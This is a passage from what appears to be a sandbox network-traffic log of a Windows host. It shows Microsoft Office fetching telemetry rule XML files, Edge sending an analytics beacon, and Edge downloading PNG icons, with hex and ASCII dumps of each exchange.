2024-11-23 00:14:31 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:32 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29297304-901e-0083-6776-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001432Z-174c587ffdfdwxdvhC1TEB1c4n000000021g00000000fay9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:32 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:32 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001432Z-174c587ffdf7t49mhC1TEB4qbg000000022g00000000bpgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:32 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:32 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6a83a5f2-e01e-000c-157b-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001432Z-174c587ffdf9xbcchC1TEBxkz400000001zg00000000f9wv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:32 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 3029707a-401e-0047-3163-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001432Z-178bfbc474bxkclvhC1NYC69g400000003n000000000bv0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:32 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001432Z-174c587ffdfcb7qhhC1TEB3x7000000002b0000000000zxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49802	18.165.220.110	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:33 UTC	925	OUT	GET /b?rn=1732320871730&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=175F64EB34B4667D05E971AB35C6675C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:33 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 23 Nov 2024 00:14:33 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732320871730&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=175F64EB34B4667D05E971AB35C6675C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=13D667ef23f1ce4166d46aa1732320873; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=13D667ef23f1ce4166d46aa1732320873; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 1cfee74ca8783b126318bfb563367846.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: P4Nwc8oO8r80IIZF6Hud_eZdhQ8Guf3oAK7raSC-u6oHqdgZcbjEDw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49840	13.107.246.40	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:33 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:33 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:33 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: f05f392f-b01e-0075-322a-3defbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T001433Z-174c587ffdfmlsmvhC1TEBvyks000000026000000000txpt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-23 00:14:33 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49845	13.107.246.40	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:33 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:34 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:34 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: f9357370-101e-005a-312a-3d6e86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T001434Z-178bfbc474bh5zbqhC1NYCkdug00000003ng000000009qef Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:34 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49844	13.107.246.40	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:33 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:34 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:34 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: a69a0a32-301e-0046-602a-3db691000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T001434Z-178bfbc474bnwsh4hC1NYC2ubs00000003u0000000006ss7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:34 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49843	13.107.246.40	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:33 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:34 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:34 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 4a51215c-501e-003b-2b2a-3d2a59000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T001434Z-178bfbc474b9fdhphC1NYCac0n00000003m000000000epb6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-23 00:14:34 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49841	13.107.246.40	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:33 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:34 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:34 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 262987a9-101e-003c-042a-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T001434Z-174c587ffdfks6tlhC1TEBeza400000002ag0000000029vm Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
